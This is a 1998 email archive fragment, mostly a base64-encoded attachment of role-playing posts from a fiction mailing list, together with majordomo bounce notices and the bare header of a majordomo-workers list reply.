DQpTdGlsbCwgdGhlIGNoZXZhbGllciBzbWlsZXMsIGJ1dCB0aGUgc21pbGUg aXMgbW9yZSBzZXJpb3VzLCBhbmQgaGlzIGdhemUgIA0KcmVzdGluZyBvbiBX ZW4taHVhbiBhcyBpZiB3YXRjaGluZyBoaXMgc291bC4gIkRvbid0IGJlIHRv byBzdXJlIG9mIHRoYXQgIA0KeW91bmcgZnJpZW5kLCB5b3Ugc2FpZCB5b3Vy c2VsZiB0aGF0IHRoZSBmdXR1cmUgaXMgZXZlci1jaGFuZ2luZy4uLiINCg0K PiA+PiBXZW4taHVhbiB0dXJucyBiYWNrIGFuZCBzaHJ1Z3MuICAiRmF0ZS4u LiBpcyBub3QgdW5saWtlIHNvIG1hbnkgd29tZW4sDQo+ID4+IHNoZSBjYW4g YmUgaW5mbHVlbmNlZCBhbmQgc2hlIGVuam95cyBzaG93aW5nIGEgYml0IG9m IGhlcnNlbGYgdG8gdGhlDQo+ID4+IGtub3dpbmcgZXllLiINCj4gPiAiLi4u IGJ1dCByZW1haW5zIGEgbXlzdGVyeSBhdCB0aGUgZW5kIG5ldmVydGhlbGVz cy4iDQo+ICAgICAgICAgIklzIHRoYXQgbm90IGV2ZXIgdGhlIHdheSBvZiB3 b21lbj8iICBXZW4taHVhbiBzYXlzIHdpdGggYSBzbWlsZS4NCj4gIlRob3Vn aCB0aGV5IGNsYWltIHdlIGFyZSBhIG15c3RlcnkgdG8gdGhlbSBhcyB3ZWxs ISINCg0KVGhlIG1hbiBsYXVnaHMuICJCdXQgb2YgY291cnNlISINCg0KPiA+ PiAiSWYgaXQgaXMgbm90LCB0aGFuIHRoZSBzdHVkZW50IHdpbGwgZGVzdHJv eSB0aGVtc2VsdmVzIHNvb24gZW5vdWdoLiINCj4gPj4gV2VuLWh1YW4gcmVw bGllcyB3aXRoIHV0dGVyIGNlcnRhaW50eS4NCj4gPiBBbGFpbiBlbmRzIFdl bi1IdWFuJ3Mgc2VudGVuY2Ugc3Rlcm5seS4gIlNvIGl0IHNob3VsZCBiZSBz ZWN1cmVkIHRoYXQNCj4gPiB0aGUgc3R1ZGVudCB0YWtlcyBub3QgdG8gbWFu eSB3aXRoIGhpbSBpbiBoaXMgZGVzdHJ1Y3Rpb24uLi4iDQo+ID4gU2lyIFJh cGhhZWwgbG9va3MgdXAgZnJvbSBoaXMgY29udmVyc2F0aW9uIHdpdGggU2ls dmFyYS4uLg0KPiAgICAgICAgICJObywgY2FyZSBtdXN0IGJlIHRha2VuIHRo YXQgdGhlIHN0dWRlbnQgZG9lcyBub3QgbGVhcm4gdG9vIG11Y2ggdG9vDQo+ IHNvb24gc28gdGhhdCB0aGV5IGhhcm0gdGhlbXNlbHZlcy4gIFRoZSBmYWls dXJlIG9mIGEgc3R1ZGVudCBpcyB0aGUgZmF1bHQgb2YNCj4gdGhlIFRlYWNo ZXIsIG5vdCB0aGUgc3R1ZGVudC4iICBXZW4taHVhbiBjb3VudGVycyBnZW50 bHkuDQoNCiJZb3UgYXJlIHJpZ2h0LCB5ZXQgYWxsIHRvbyBvZnRlbiBvbmUg ZG9lcyBub3QgY2FyZSBlbm91Z2ggYWJvdXQgdGhpcyAgDQpmYWN0LiINClNp ciBSYXBoYWVsIGdsYW5jZXMgYXQgV2VuLWh1YW4uICJIYXZlIHlvdSB0YXVn aHQgc3R1ZGVudHMgeWV0PyINCg0KPiA+PiB7T25seSB3aGF0IEkgaGF2ZSBo ZWFyZCBpbiBydW1vciBhbmQgdGhlIG9jY2Fzc2lvbmFsIGlkeWwgZXhwbGFp bmF0aW9uLn0NCj4gPj4gV2VuLWh1YW4gcmVwbGllcyB3aXRoIGEgc21pbGUg b2YgaGlzIG93bi4NCj4gPiB7VGhlbiB5b3Ugc3VyZWx5IGhhdmUgYmVlbiB3 YXJuZWQgb2YgdGhlIFNlZXJzIG9mIENocm9ub3MsIGhhdmUgeW91IG5vdD99 DQo+ID4gU2hlIHNtaWxlcyB3aXRoIGEgd2luay4NCj4gICAgICAgICB7V2hv P30gIFdlbi1odWFuIHNlbmRzIGJhY2sgaW4gcmV0dXJuLg0KDQp7TXkgdHJh ZGl0aW9uLCBXZW4tSHVhbn0gU2hlIHNlbmRzIHdpdGggeWV0IGFub3RoZXIg c29mdCBjaHVja2xlLi4uDQoNCj4gTGF0ZXIuLi4NCj4NCj4gPj4gIkkgd291 bGQgZW5qb3kgc3BlYWtpbmcgdG8gdGhlbSBJIGJlbGlldmUuIiAgV2VuLWh1 YW4gc2F5cw0KPiA+PiBzcGVjdWxhdGl2ZWx5Lg0KPiA+IEFsYWluIHJhaXNl cyBoaXMgZXllYnJvd3MuICJXaG9tPyBUaGUgR2Fyb3Ugb3IgdGhlIG1vbnN0 ZXJzPyINCj4gICAgICAgICAiT25lIG1hbidzIG1vbnN0ZXJzIGlzIG9mdGVu IGFub3RoZXJzIGZyaWVuZC4iICBXZW4taHVhbiBsYXVnaHMuDQo+ICJUaG91 Z2ggb2Z0ZW4gaXQncyBqdXN0IGEgaHVuZ3J5IG1vbnN0ZXIhICBCdXQgeW91 IG5ldmVyIGtub3cgdW50aWwgeW91IGFzay4NCj4gU3RpbGwsIHBlcmhhcHMg aXQgd291bGQgYmUgd2lzZXIgdG8gc3BlYWsgdG8gdGhlIEdhcm91IGZpcnN0 LiINCg0KIldpc2VyIGluZGVlZC4iIEFsYWluIGNodWNrbGVzLCB0aGVuIHNl ZW1zIHRvIHRoaW5rIG9mIHNvbWV0aGluZyBidXQgIA0KYXBwYXJlbnRseSBk ZWNpZGVzIG5vdCB0byBzcGVhayBpdCBvdXQuDQoNCj4gPiBUaGUgY2hldmFs aWVyIHNtaWxlcyBzYXRpc2ZpZWQuICJHb29kLiBWZXJ5IGdvb2QuIiBUaGVu IGhlIGdyaW5zDQo+ID4gYm95aXNobHkuICJJbmRpdmlkdWFsaXR5IHNob3Vs ZCBuZXZlciBiZSBhIHJlYXNvbiBmb3IgcGVyc29uYWwNCj4gPiBlbWJhcmFz c21lbnQuIiBIZSBtb3ZlcyBvbiBhYm91dCB0aGUgd2FsbHMgYW5kIFdlbi1I dWFuIGNhbiBzZWUgdGhlDQo+ID4gZ3VhcmRzIHdhdGNoaW5nIHRoZW0sIHRo ZW4gdHVybmluZyB0byB3YXRjaCB0aGUgd29vZHMgYWdhaW4uDQo+ICAgICAg ICAgIkkgZmVhciB5b3UgaGF2ZSBnYWluZWQgdGhlIHdyb25nIGltcHJlc3Np b24sIGluZGl2aWR1YWxpdHkgaXMNCj4gc29tZXRoaW5nIHdlIEFrYXNoaWNz IGVuY291cmFnZS4iICBXZW4taHVhbiBib3dzIHNsaWdodGx5IHdpdGggYSBz bWlsZS4NCj4gIkhvd2V2ZXIgd2Ugc2hvdWxkIG5vdCB0YWtlIGl0IHRvIGV4 dHJlbWVzLiINCg0KIk9oLCBJIGhhdmUgdW5kZXJzdG9vZCBwZXJmZWN0bHks IFdlbi1odWFuLiIgVGhlIG1hbiBzbWlsZXMuICJXb3VsZCB5b3UgIA0Kd2Fu dCB0byBnbyBhbmQgc3BlYWsgd2l0aCB0aGVtIG5vdz8gVGhlIEdhcm91LCBp dCBpcy4iDQoNClNpciBSYXBoYWVsDQoNCkZyb20gemF4MzM3OTVAZWduZXR6 LnVlYmVtYy5zaWVtZW5zLmRlIFR1ZSBPY3QgMTMgMTE6NDE6MTEgMTk5OCAr MDIwMA0KU3RhdHVzOiBSDQpYLVN0YXR1czogDQpYLUtleXdvcmRzOg0KUmVj ZWl2ZWQ6IGZyb20gcm9jazEwMS5nZW5pZS5uZXQgKGdlbmllLmNvbSBbMTk5 LjE2NC4xNDAuMTFdKSANCiAgYnkgYXJjYWRpYS5pbmZvcm1hdGlrLnVuaS1t dWVuY2hlbi5kZSAoOC43LjUvOC42LjkpIHdpdGggRVNNVFAgaWQgTEFBMDA3 MzEgDQogIGZvciA8YW1pZHN0ZGFya25lc3NAb2FzaXMubGVvLm9yZz47IFR1 ZSwgMTMgT2N0IDE5OTggMTE6NDE6MDYgKzAxMDAgKE1FWikNCkZyb206IHMu am9obnNvbjEwN0BnZW5pZS5jb20NClJlY2VpdmVkOiBmcm9tIHJvY2sxMDMu Z2VuaWUubmV0IChyb2NrMTAzLmlzLmdlLmNvbSBbMjA0LjkwLjEzMS4xMDNd KQ0KCWJ5IHJvY2sxMDEuZ2VuaWUubmV0ICg4LjguOC84LjguOCkgd2l0aCBF U01UUCBpZCBLQUExNjA5Mg0KCWZvciA8YW1pZHN0ZGFya25lc3NAb2FzaXMu bGVvLm9yZz47IFR1ZSwgMTMgT2N0IDE5OTggMTA6NDE6MDYgR01UDQpSZWNl aXZlZDogKGZyb20gdXVjcEBsb2NhbGhvc3QpDQoJYnkgcm9jazEwMy5nZW5p ZS5uZXQgKDguOC44LzguOC44KSBpZCBLQUEyMDI2NA0KCWZvciBhbWlkc3Rk YXJrbmVzc0BvYXNpcy5sZW8ub3JnOyBUdWUsIDEzIE9jdCAxOTk4IDEwOjQx OjA2IEdNVA0KTWVzc2FnZS1JZDogPDE5OTgxMDEzMTA0MS5LQUEyMDI2NEBy b2NrMTAzLmdlbmllLm5ldD4NClJlY2VpdmVkOiBieSAoZ2VuaWUuKXJvY2sx MDMuZ2VuaWUubmV0DQogICggMnJlbS8xLjQ0ICkgICAgICA7IFR1ZSwgMTMg T2N0IDk4IDEwOjQxOjA2IEdNVCANCiAgKCBmcm9tIGluZXQjICAgICAgIDsg VHVlLCAxMyBPY3QgOTggMTA6NDA6NTEgR01UICkNCkRhdGU6IFR1ZSwgMTMg T2N0IDk4IDEwOjM1OjAwIEdNVCANClRvOiBhbWlkc3RkYXJrbmVzc0BvYXNp cy5sZW8ub3JnDQpYLWdlbmllLVFLLUZyb206IFMuSk9ITlNPTjEwNw0KWC1n ZW5pZS1RSy1JZDogNTc4NzgzOA0KWC1nZW5pZS1HYXRld2F5LUlkOiAzODQ2 NTQNCk1pbWUtVmVyc2lvbjogMS4wDQpDb250ZW50LVRyYW5zZmVyLUVuY29k aW5nOiA3Yml0DQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9 InVzLWFzY2lpIg0KU3ViamVjdDogV2VuLWh1YW4gJiBBbGFpbg0KDQo+PiBX ZW4taHVhbiBzaHJ1Z3MuICAiVGhlIEFyY2FkaWEgb2YgdGhlIEZhZSBmYWxs cyB0byB0aGUgRm9yY2VzIG9mIHRoZQ0KPj4gQ2hyaXN0aWFuIEhlbGwgYW5k IHdvcnNlLCB0aGVpciBhcmlzZXMgYW4gdW5zdG9wcGFibGUgdGlkZSBvZiBP cmRlcg0KPj4gYW5kIFJlYXNvbiB0aGF0IGxlYWRzIHRvIHRoZSBkZWF0aCBv ZiBpbWFnaW5hdGlvbiBhbmQgdXR0ZXIgc3Rhc2lzLA0KPj4gdGhlbiB0aGUg TmVwaGFuZGkgd2luLCBzbGF1Z2h0ZXIgdXMgYWxsIGFuZCBHYWlhIHN0YXJ0 cyBhZnJlc2guIg0KPiBTdGlsbCwgdGhlIGNoZXZhbGllciBzbWlsZXMsIGJ1 dCB0aGUgc21pbGUgaXMgbW9yZSBzZXJpb3VzLCBhbmQgaGlzIGdhemUNCj4g cmVzdGluZyBvbiBXZW4taHVhbiBhcyBpZiB3YXRjaGluZyBoaXMgc291bC4g IkRvbid0IGJlIHRvbyBzdXJlIG9mIHRoYXQNCj4geW91bmcgZnJpZW5kLCB5 b3Ugc2FpZCB5b3Vyc2VsZiB0aGF0IHRoZSBmdXR1cmUgaXMgZXZlci1jaGFu Z2luZy4uLiINCgkiVGhhdCBpcyB3aHkgSSBhbSBoZXJlLCB0byBlZmZlY3Qg Y2hhbmdlcyB0aGF0IGF2b2lkIHRoaXMgRmF0ZS4iDQpSZXBsaWVzIFdlbi1o dWFuIGluIHV0dGVyIHNlcmlvdXNuZXNzLg0KDQo+Pj4gIi4uLiBidXQgcmVt YWlucyBhIG15c3RlcnkgYXQgdGhlIGVuZCBuZXZlcnRoZWxlc3MuIg0KPj4g IklzIHRoYXQgbm90IGV2ZXIgdGhlIHdheSBvZiB3b21lbj8iICBXZW4taHVh biBzYXlzIHdpdGggYSBzbWlsZS4NCj4+ICJUaG91Z2ggdGhleSBjbGFpbSB3 ZSBhcmUgYSBteXN0ZXJ5IHRvIHRoZW0gYXMgd2VsbCEiDQo+IFRoZSBtYW4g bGF1Z2hzLiAiQnV0IG9mIGNvdXJzZSEiDQoJIkkgaGF2ZSB3b25kZXJlZCBv biBvY2Nhc3Npb24gaWYgZXZlbiBUaGUgTmFtZSB1bmRlcnN0YW5kcyB0aGVz ZQ0KbXlzdGVyaWVzLCB0aGV5IHNlZW0gdG8gcnVuIHNvLi4uIGRlZXAuIiAg V2VuLWh1YW4gbXVzZXMuDQoNCj4+ICJObywgY2FyZSBtdXN0IGJlIHRha2Vu IHRoYXQgdGhlIHN0dWRlbnQgZG9lcyBub3QgbGVhcm4gdG9vIG11Y2ggdG9v DQo+PiBzb29uIHNvIHRoYXQgdGhleSBoYXJtIHRoZW1zZWx2ZXMuICBUaGUg ZmFpbHVyZSBvZiBhIHN0dWRlbnQgaXMgdGhlDQo+PiBmYXVsdCBvZiB0aGUg VGVhY2hlciwgbm90IHRoZSBzdHVkZW50LiIgIFdlbi1odWFuIGNvdW50ZXJz IGdlbnRseS4NCj4gIllvdSBhcmUgcmlnaHQsIHlldCBhbGwgdG9vIG9mdGVu IG9uZSBkb2VzIG5vdCBjYXJlIGVub3VnaCBhYm91dCB0aGlzDQo+IGZhY3Qu Ig0KCVdlbi1odWFuIGJvd3Mgc2xpZ2h0bHkuICAiVGhhdCBpcyB3aHkgc28g bWFueSBmYWlsIHVuZm9ydHVuYXRlbHkuIg0KDQo+IFNpciBSYXBoYWVsIGds YW5jZXMgYXQgV2VuLWh1YW4uICJIYXZlIHlvdSB0YXVnaHQgc3R1ZGVudHMg eWV0PyINCgkiT2ggY291cnNlIFNpciBSYXBoYWVsLCBwYXJ0IG9mIGxlYXJu aW5nIHRoZSBETyBpcyB0byBwYXNzIGl0IGFsb25nIHRvDQpvdGhlcnMgd2hl biB5b3UgY2FuLiIgIFdlbi1oYXVuIGFuc3dlcnMgd2l0aCBhIGJvdy4NCg0K Pj4ge1dobz99ICBXZW4taHVhbiBzZW5kcyBiYWNrIGluIHJldHVybi4NCj4g e015IHRyYWRpdGlvbiwgV2VuLUh1YW59IFNoZSBzZW5kcyB3aXRoIHlldCBh bm90aGVyIHNvZnQgY2h1Y2tsZS4uLg0KCVdlbi1odWFuIHNocnVncy4gIHtX aHkgc2hvdWxkIEkgaGF2ZSBiZWVuIHdhcm5lZCBvZiB5b3U/ICBVbmxlc3Mg eW91DQphcmUgcGFydCBvZiBzb21lIERlYXRoIEN1bHQgSSBzZWUgbm8gZGlm ZmljdWx0aWVzIGluIHNoYXJpbmcga25vd2xlZGdlLn0NCg0KDQoNCkxhdGVy Li4uDQoNCj4+ICJPbmUgbWFuJ3MgbW9uc3RlcnMgaXMgb2Z0ZW4gYW5vdGhl cnMgZnJpZW5kLiIgIFdlbi1odWFuIGxhdWdocy4gIlRob3VnaA0KPj4gb2Z0 ZW4gaXQncyBqdXN0IGEgaHVuZ3J5IG1vbnN0ZXIhICBCdXQgeW91IG5ldmVy IGtub3cgdW50aWwgeW91IGFzay4NCj4+IFN0aWxsLCBwZXJoYXBzIGl0IHdv dWxkIGJlIHdpc2VyIHRvIHNwZWFrIHRvIHRoZSBHYXJvdSBmaXJzdC4iDQo+ ICJXaXNlciBpbmRlZWQuIiBBbGFpbiBjaHVja2xlcywgdGhlbiBzZWVtcyB0 byB0aGluayBvZiBzb21ldGhpbmcgYnV0DQo+IGFwcGFyZW50bHkgZGVjaWRl cyBub3QgdG8gc3BlYWsgaXQgb3V0Lg0KCVdlbi1odWFuIG5vdGljZXMgYW5k IGdlc3R1cmVzIGZvciBBbGFpbiB0byBjb250aW51ZS4uLg0KDQo+PiAiSSBm ZWFyIHlvdSBoYXZlIGdhaW5lZCB0aGUgd3JvbmcgaW1wcmVzc2lvbiwgaW5k aXZpZHVhbGl0eSBpcw0KPj4gc29tZXRoaW5nIHdlIEFrYXNoaWNzIGVuY291 cmFnZS4iICBXZW4taHVhbiBib3dzIHNsaWdodGx5IHdpdGgNCj4+IGEgc21p bGUuICAiSG93ZXZlciB3ZSBzaG91bGQgbm90IHRha2UgaXQgdG8gZXh0cmVt ZXMuIg0KPiAiT2gsIEkgaGF2ZSB1bmRlcnN0b29kIHBlcmZlY3RseSwgV2Vu LWh1YW4uIiBUaGUgbWFuIHNtaWxlcy4gIldvdWxkIHlvdQ0KPiB3YW50IHRv IGdvIGFuZCBzcGVhayB3aXRoIHRoZW0gbm93PyBUaGUgR2Fyb3UsIGl0IGlz LiINCgkiVGhlIG1vbWVudCBncmFzcCBpcyBmcm96ZW4sIGxpa2UgYSBidXR0 ZXJmbHkgaW4gdGltZTsgdGhlbiByZWxlYXNlZCwNCmlzIHRoZSBmdXR1cmUg dW5mdXJsZWQgaW4gaXQncyB3aW5ncy4iICBXZW4taHVhbiBxdW90ZXMsIGFk ZGluZy4gICJXaGljaCBpcw0KY2xvc2UgZW5vdWdoIHRvIHRoZSBhY3R1YWwg bWVhbmluZyBpZiBub3QgdGhlIHJoeW1lIG9mIGl0LiAgU2hhbGwgd2UgcHJv Y2VlZD8iDQoNClNoaWggV2VuLWh1YW4NCg0KRnJvbSB6YXgzMzc5NUBlZ25l dHoudWViZW1jLnNpZW1lbnMuZGUgVHVlIE9jdCAxMyAwMzo0MDowMCAxOTk4 ICswMTAwDQpTdGF0dXM6IFINClgtU3RhdHVzOiANClgtS2V5d29yZHM6DQpS ZXR1cm4tUGF0aDogPG93bmVyLWFtaWRzdGRhcmtuZXNzQG9hc2lzLmxlby5v cmc+DQpSZWNlaXZlZDogZnJvbSBlZ25ldHogYnkgc3M3ZDNkOTkgKFNNSS04 LjYvU01JLTQuMSkNCglpZCBEQUExMDUzODsgVHVlLCAxMyBPY3QgMTk5OCAw Mzo0MDo1NiArMDIwMA0KUmVjZWl2ZWQ6IGZyb20gdWViZW1jLnNpZW1lbnMu ZGUgYnkgZWduZXR6IChTTUktOC42L1NNSS00LjEpDQoJaWQgQ0FBMTcyODE7 IFR1ZSwgMTMgT2N0IDE5OTggMDI6NDE6MDMgKzAxMDANClJlY2VpdmVkOiBm cm9tIG1vb2R5Lm1jaGguc2llbWVucy5kZSBieSB1ZWJlbWMuc2llbWVucy5k ZSAoNC4xL1NNSS00LjEpDQoJaWQgQUEyNDMwMTsgVHVlLCAxMyBPY3QgOTgg MDM6NDA6NTQgKzAyMDANClJlY2VpdmVkOiBmcm9tIGdvcmlsbGEubWNoaC5z aWVtZW5zLmRlIChnb3JpbGxhLm1jaGguc2llbWVucy5kZSBbMTk0LjEzOC4x NTguMThdKQ0KCWJ5IG1vb2R5Lm1jaGguc2llbWVucy5kZSAoOC45LjEvOC45 LjEpIHdpdGggRVNNVFAgaWQgREFBMDMwOTANCglmb3IgPGFsZXhhbmRlci56 aW1tZXJtYW5uLmdwQGljbi5zaWVtZW5zLmRlPjsgVHVlLCAxMyBPY3QgMTk5 OCAwMzo0MjoyNyArMDIwMCAoTUVUIERTVCkNClJlY2VpdmVkOiBmcm9tIGFy Y2FkaWEuaW5mb3JtYXRpay51bmktbXVlbmNoZW4uZGUgKG1ham9yZG9tQGFy Y2FkaWEuaW5mb3JtYXRpay51bmktbXVlbmNoZW4uZGUgWzEyOS4xODcuMjE0 LjEzM10pDQoJYnkgZ29yaWxsYS5tY2hoLnNpZW1lbnMuZGUgKDguOC43Lzgu OC43KSB3aXRoIEVTTVRQIGlkIERBQTEwOTg0DQoJZm9yIDxhbGV4YW5kZXIu emltbWVybWFubi5ncEBpY24uc2llbWVucy5kZT47IFR1ZSwgMTMgT2N0IDE5 OTggMDM6NDA6NDggKzAyMDAgKE1FVCBEU1QpDQpSZWNlaXZlZDogKGZyb20g bWFqb3Jkb21AbG9jYWxob3N0KSANCiAgYnkgYXJjYWRpYS5pbmZvcm1hdGlr LnVuaS1tdWVuY2hlbi5kZSAoOC43LjUvOC42LjkpIGlkIENBQTIxMDg5OyBU dWUsIDEzIE9jdCAxOTk4IDAyOjM5OjM3ICswMTAwIChNRVopDQpGcm9tOiBv d25lci1hbWlkc3RkYXJrbmVzc0BvYXNpcy5sZW8ub3JnDQpEYXRlOiBUdWUs IDEzIE9jdCAxOTk4IDAyOjM5OjM3ICswMTAwIChNRVopDQpNZXNzYWdlLUlk OiA8MTk5ODEwMTMwMTM5LkNBQTIxMDg5QGFyY2FkaWEuaW5mb3JtYXRpay51 bmktbXVlbmNoZW4uZGU+DQpUbzogb3duZXItYW1pZHN0ZGFya25lc3NAb2Fz aXMubGVvLm9yZw0KU3ViamVjdDogQk9VTkNFIGFtaWRzdGRhcmtuZXNzQG9h c2lzLmxlby5vcmc6ICAgICBBZG1pbiByZXF1ZXN0IG9mIHR5cGUgL1xidW5z XHcqYi9pIGF0IGxpbmUgNyAgDQpDb250ZW50LVR5cGU6IHRleHQNCkNvbnRl bnQtTGVuZ3RoOiA0MjIyDQoNCg0KRnJvbSB6YXgzMzc5NUBlZ25ldHoudWVi ZW1jLnNpZW1lbnMuZGUgVHVlIE9jdCAxMyAwNDoxMjowMCAxOTk4ICswMTAw DQpTdGF0dXM6IFINClgtU3RhdHVzOiANClgtS2V5d29yZHM6DQpSZXR1cm4t UGF0aDogPG93bmVyLWFtaWRzdGRhcmtuZXNzQG9hc2lzLmxlby5vcmc+DQpS ZWNlaXZlZDogZnJvbSBlZ25ldHogYnkgc3M3ZDNkOTkgKFNNSS04LjYvU01J LTQuMSkNCglpZCBFQUExMjA3MjsgVHVlLCAxMyBPY3QgMTk5OCAwNDoxMjox NiArMDIwMA0KUmVjZWl2ZWQ6IGZyb20gdWViZW1jLnNpZW1lbnMuZGUgYnkg ZWduZXR6IChTTUktOC42L1NNSS00LjEpDQoJaWQgREFBMTc4Nzk7IFR1ZSwg MTMgT2N0IDE5OTggMDM6MTI6MjMgKzAxMDANClJlY2VpdmVkOiBmcm9tIG1v b2R5Lm1jaGguc2llbWVucy5kZSBieSB1ZWJlbWMuc2llbWVucy5kZSAoNC4x L1NNSS00LjEpDQoJaWQgQUEyNTA1MTsgVHVlLCAxMyBPY3QgOTggMDQ6MTI6 MTUgKzAyMDANClJlY2VpdmVkOiBmcm9tIGdvcmlsbGEubWNoaC5zaWVtZW5z LmRlIChnb3JpbGxhLm1jaGguc2llbWVucy5kZSBbMTk0LjEzOC4xNTguMThd KQ0KCWJ5IG1vb2R5Lm1jaGguc2llbWVucy5kZSAoOC45LjEvOC45LjEpIHdp dGggRVNNVFAgaWQgRUFBMDYxOTUNCglmb3IgPGFsZXhhbmRlci56aW1tZXJt YW5uLmdwQGljbi5zaWVtZW5zLmRlPjsgVHVlLCAxMyBPY3QgMTk5OCAwNDox Mzo0OCArMDIwMCAoTUVUIERTVCkNClJlY2VpdmVkOiBmcm9tIGFyY2FkaWEu aW5mb3JtYXRpay51bmktbXVlbmNoZW4uZGUgKG1ham9yZG9tQGFyY2FkaWEu aW5mb3JtYXRpay51bmktbXVlbmNoZW4uZGUgWzEyOS4xODcuMjE0LjEzM10p DQoJYnkgZ29yaWxsYS5tY2hoLnNpZW1lbnMuZGUgKDguOC43LzguOC43KSB3 aXRoIEVTTVRQIGlkIEVBQTEzMjU0DQoJZm9yIDxhbGV4YW5kZXIuemltbWVy bWFubi5ncEBpY24uc2llbWVucy5kZT47IFR1ZSwgMTMgT2N0IDE5OTggMDQ6 MTI6MDkgKzAyMDAgKE1FVCBEU1QpDQpSZWNlaXZlZDogKGZyb20gbWFqb3Jk b21AbG9jYWxob3N0KSANCiAgYnkgYXJjYWRpYS5pbmZvcm1hdGlrLnVuaS1t dWVuY2hlbi5kZSAoOC43LjUvOC42LjkpIGlkIERBQTIxOTUyOyBUdWUsIDEz IE9jdCAxOTk4IDAzOjEwOjU2ICswMTAwIChNRVopDQpGcm9tOiBvd25lci1h bWlkc3RkYXJrbmVzc0BvYXNpcy5sZW8ub3JnDQpEYXRlOiBUdWUsIDEzIE9j dCAxOTk4IDAzOjEwOjU2ICswMTAwIChNRVopDQpNZXNzYWdlLUlkOiA8MTk5 ODEwMTMwMjEwLkRBQTIxOTUyQGFyY2FkaWEuaW5mb3JtYXRpay51bmktbXVl bmNoZW4uZGU+DQpUbzogb3duZXItYW1pZHN0ZGFya25lc3NAb2FzaXMubGVv Lm9yZw0KU3ViamVjdDogQk9VTkNFIGFtaWRzdGRhcmtuZXNzQG9hc2lzLmxl by5vcmc6ICAgICBBZG1pbiByZXF1ZXN0IG9mIHR5cGUgL1xidW5zXHcqYi9p IGF0IGxpbmUgNyAgDQpDb250ZW50LVR5cGU6IHRleHQNCkNvbnRlbnQtTGVu Z3RoOiA0NDY4DQoNCg0KRnJvbSB6YXgzMzc5NUBlZ25ldHoudWViZW1jLnNp ZW1lbnMuZGUgVHVlIE9jdCAxMyAxMjo0MzowMCAxOTk4ICswMTAwDQpTdGF0 dXM6IFINClgtU3RhdHVzOiANClgtS2V5d29yZHM6DQpSZXR1cm4tUGF0aDog PG93bmVyLWFtaWRzdGRhcmtuZXNzQG9hc2lzLmxlby5vcmc+DQpSZWNlaXZl ZDogZnJvbSBlZ25ldHogYnkgc3M3ZDNkOTkgKFNNSS04LjYvU01JLTQuMSkN CglpZCBNQUExMTk0MjsgVHVlLCAxMyBPY3QgMTk5OCAxMjo0MzoyNiArMDIw MA0KUmVjZWl2ZWQ6IGZyb20gdWViZW1jLnNpZW1lbnMuZGUgYnkgZWduZXR6 IChTTUktOC42L1NNSS00LjEpDQoJaWQgTEFBMjk5Mjg7IFR1ZSwgMTMgT2N0 IDE5OTggMTE6NDM6MzQgKzAxMDANClJlY2VpdmVkOiBmcm9tIG1vb2R5Lm1j aGguc2llbWVucy5kZSBieSB1ZWJlbWMuc2llbWVucy5kZSAoNC4xL1NNSS00 LjEpDQoJaWQgQUExNzQ3MzsgVHVlLCAxMyBPY3QgOTggMTI6NDM6MjUgKzAy MDANClJlY2VpdmVkOiBmcm9tIGdvcmlsbGEubWNoaC5zaWVtZW5zLmRlIChn b3JpbGxhLm1jaGguc2llbWVucy5kZSBbMTk0LjEzOC4xNTguMThdKQ0KCWJ5 IG1vb2R5Lm1jaGguc2llbWVucy5kZSAoOC45LjEvOC45LjEpIHdpdGggRVNN VFAgaWQgTUFBMDkzMTANCglmb3IgPGFsZXhhbmRlci56aW1tZXJtYW5uLmdw QGljbi5zaWVtZW5zLmRlPjsgVHVlLCAxMyBPY3QgMTk5OCAxMjo0NDo1OCAr MDIwMCAoTUVUIERTVCkNClJlY2VpdmVkOiBmcm9tIGFyY2FkaWEuaW5mb3Jt YXRpay51bmktbXVlbmNoZW4uZGUgKGFyY2FkaWEuaW5mb3JtYXRpay51bmkt bXVlbmNoZW4uZGUgWzEyOS4xODcuMjE0LjEzM10pDQoJYnkgZ29yaWxsYS5t Y2hoLnNpZW1lbnMuZGUgKDguOC43LzguOC43KSB3aXRoIEVTTVRQIGlkIE1B QTIwODg5DQoJZm9yIDxhbGV4YW5kZXIuemltbWVybWFubi5ncEBpY24uc2ll bWVucy5kZT47IFR1ZSwgMTMgT2N0IDE5OTggMTI6NDM6MTggKzAyMDAgKE1F VCBEU1QpDQpSZWNlaXZlZDogKGZyb20gbWFqb3Jkb21AbG9jYWxob3N0KSAN CiAgYnkgYXJjYWRpYS5pbmZvcm1hdGlrLnVuaS1tdWVuY2hlbi5kZSAoOC43 LjUvOC42LjkpIGlkIExBQTAwNzQwOyBUdWUsIDEzIE9jdCAxOTk4IDExOjQx OjEzICswMTAwIChNRVopDQpGcm9tOiBvd25lci1hbWlkc3RkYXJrbmVzc0Bv YXNpcy5sZW8ub3JnDQpEYXRlOiBUdWUsIDEzIE9jdCAxOTk4IDExOjQxOjEz ICswMTAwIChNRVopDQpNZXNzYWdlLUlkOiA8MTk5ODEwMTMxMDQxLkxBQTAw NzQwQGFyY2FkaWEuaW5mb3JtYXRpay51bmktbXVlbmNoZW4uZGU+DQpUbzog b3duZXItYW1pZHN0ZGFya25lc3NAb2FzaXMubGVvLm9yZw0KU3ViamVjdDog Qk9VTkNFIGFtaWRzdGRhcmtuZXNzQG9hc2lzLmxlby5vcmc6ICAgICBBZG1p biByZXF1ZXN0IG9mIHR5cGUgL1xidW5zXHcqYi9pIGF0IGxpbmUgMiAgDQpD b250ZW50LVR5cGU6IHRleHQNCkNvbnRlbnQtTGVuZ3RoOiAzODI3DQoNCg0K ---559023410-15952070-908280313=:3779-- From majordomo-workers-owner Fri Oct 16 10:05:11 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id JAA02608; Fri, 16 Oct 1998 09:56:50 -0700 (PDT) Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA02598 for ; Fri, 16 Oct 1998 09:56:38 -0700 (PDT) Received: from ben by scientia.demon.co.uk with local (Exim 2.05 #3) id 0zUBsf-0006W2-00; Fri, 16 Oct 1998 16:33:29 +0100 Date: Fri, 16 Oct 1998 16:33:29 +0100 From: Ben Smithurst To: Natambu Obleton Cc: Majordomo-Workers@GreatCircle.COM, network@frontier.net Subject: Re: Sometimes it works sometimes it doesnt... Message-ID: <19981016163329.A25036@scientia.demon.co.uk> References: <06ca01bdf6ca$4d90bdc0$3b8d2dc7@hermosa.frontier.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: <06ca01bdf6ca$4d90bdc0$3b8d2dc7@hermosa.frontier.net> User-Agent: Mutt/0.94.12i 